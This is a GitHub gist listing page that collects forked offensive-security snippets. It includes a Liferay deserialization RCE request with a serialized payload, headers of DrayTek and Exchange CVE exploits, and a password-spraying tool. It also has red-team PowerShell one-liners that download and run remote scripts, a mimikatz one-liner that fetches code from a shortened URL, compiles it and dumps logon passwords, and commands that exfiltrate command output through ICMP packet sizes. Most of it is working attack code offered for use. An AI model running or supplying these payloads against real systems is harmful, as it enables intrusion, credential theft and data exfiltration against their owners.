filipesam’s gists

filipesam / LiferayRce.txt

Created March 28, 2020 12:10 — forked from testanull/LiferayRce.txt

	POST /api/jsonws/invoke HTTP/1.1
	Host: <Host>
	Connection: close
	cmd2: whoami
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 4912

	cmd={"/expandocolumn/update-column":{}}&p_auth=<valid token>&formDate=<date>&columnId=123&name=asdasd&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73

filipesam / LiferayJsonEvalCC6.java

Created March 28, 2020 12:11 — forked from testanull/LiferayJsonEvalCC6.java

Liferay Json Deserialize 1 hit RCE

	package ysoserial.payloads;

	import com.mchange.lang.ByteUtils;
	import org.apache.commons.collections.Transformer;
	import org.apache.commons.collections.functors.ChainedTransformer;
	import org.apache.commons.collections.functors.ConstantTransformer;
	import org.apache.commons.collections.functors.InvokerTransformer;
	import org.apache.commons.collections.keyvalue.TiedMapEntry;
	import org.apache.commons.collections.map.LazyMap;
	import ysoserial.payloads.annotation.Authors;

filipesam / CVE-2020-8515.go

Created March 30, 2020 22:01 — forked from 0xsha/CVE-2020-8515.go

CVE-2020-8515: DrayTek pre-auth remote root RCE

	package main


	/*
	CVE-2020-8515: DrayTek pre-auth remote root RCE

	Mon Mar 30 2020 - 0xsha.io


	Affected:

filipesam / Wireless Penetration Testing Cheat Sheet.md

Created April 27, 2020 22:33 — forked from dogrocker/Wireless Penetration Testing Cheat Sheet.md

Wireless Penetration Testing Cheat Sheet

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

Open the Monitor Mode

root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up

filipesam / msol_spray.py

Created May 4, 2020 09:54 — forked from byt3bl33d3r/msol_spray.py

Fully async python port of @dafthacks MSOLSpray (https://github.com/dafthack/MSOLSpray)

	#! /usr/bin/env python3

	#
	# Requires Python 3.7+ & aiohttp (speedups recommended)
	# pip3 install aiohttp[speedups]
	#

	import sys
	import asyncio
	import aiohttp

filipesam / RedTeam_CheatSheet.ps1

Created May 18, 2020 10:33 — forked from m8sec/RedTeam_CheatSheet.ps1

Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Domain Recon
	## ShareFinder - Look for shares on network and check access under current user context & Log to file
	powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess\|Out-File -FilePath sharefinder.txt"

	## Import PowerView Module
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"

	## Invoke-BloodHound for domain recon
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"

filipesam / katz.cmd

Created June 12, 2020 12:37 — forked from xillwillx/katz.cmd

mimikatz.cs one-liner

powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('https://is.gd/Dopn98','katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe /reference:System.IO.Compression.dll /out:katz.exe katz.cs && InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log privilege::debug sekurlsa::logonpasswords exit && del katz.*

filipesam / jwt_rs256_as_hs256.py

Created March 9, 2021 23:27 — forked from aayla-secura/jwt_rs256_as_hs256.py

JWT RS256 to HS256 re-signing attack

	#!/usr/bin/env python2
	#############################################################
	# @AaylaSecura1138, github.com/aayla-secura
	# Modify and distribute as you wish
	#############################################################
	# NO LONGER MAINTAINED: CURRENT CODE LIVES HERE:
	# https://github.com/aurainfosec/jwt_resign_asym_to_sym
	#############################################################
	# Some JWT libraries are vulnerable to a known attack which changes
	# the type of a JWT from an asymmetric (e.g. RS256) to a symmetric

filipesam / PoC_CVE-2021-28482.py

Created May 4, 2021 08:54 — forked from testanull/PoC_CVE-2021-28482.py

PoC of CVE-2021-28482

	import requests
	import time
	import sys
	from base64 import b64encode
	from requests_ntlm2 import HttpNtlmAuth
	from urllib3.exceptions import InsecureRequestWarning
	from urllib import quote_plus

	requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

filipesam / icmp.md

Created September 27, 2021 11:10 — forked from jobertabma/icmp.md

Commands to exfiltrate command output via ICMP packet size

Capture ICMP packets on your server:

tcpdump -nni eth0 -e icmp[icmptype] == 8 -w output.cap

Send ICMP packets to your server with each byte stored in the packet size, execute this on the remote machine:

ip=vm03;output=`hostname`;for ((i=0;i&lt;${#output};i++));do; ping -c 1 -s `printf '%d\n' "'${output:$i:1}'"` $ip;done